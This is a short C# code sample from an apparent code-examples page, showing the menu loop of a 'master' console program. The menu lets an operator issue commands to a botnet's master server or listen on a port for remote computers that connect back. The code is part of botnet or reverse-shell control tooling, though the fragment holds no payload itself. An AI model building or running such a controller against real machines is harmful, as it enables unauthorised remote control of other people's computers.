Пример #1
0
        /// <summary>
        /// Entry point of the master. Call methods to initiate port listening.
        /// When a remote computer connects to us, initiate the prompt loop and monitor the connection.
        /// </summary>
        public void Start()
        {
            ConsoleTools.DisplayBanner();

            var choice = "";

            while (choice != "9")
            {
                Console.Write("\n\nChoose one option :\n\n    1 : Issue commands to the botnet's master server\n    2 : Listen on a port\n    9 : Exit\n\nChoice : ");

                // Reset choice here or infinite loop
                choice = "";
                while (choice != "1" && choice != "2" && choice != "9")
                {
                    choice = Console.ReadLine();
                    // Space a bit
                    Console.WriteLine("");

                    int port;

                    switch (choice)
                    {
                    case "1":
                        port = BotnetManager.Process() ?? 0;
                        if (port != 0)
                        {
                            ListenForIncomingConnection(port);
                        }
                        break;

                    case "2":
                        port = ConsoleTools.AskForPortNumber("Please type a port number to listen to");
                        ListenForIncomingConnection(port);
                        break;

                    case "9":
                        // exit
                        break;

                    default:
                        Console.Write("Invalid choice, please type again\n> ");
                        break;
                    }
                }

                waitingForUserCommandInput = false;
            }
        }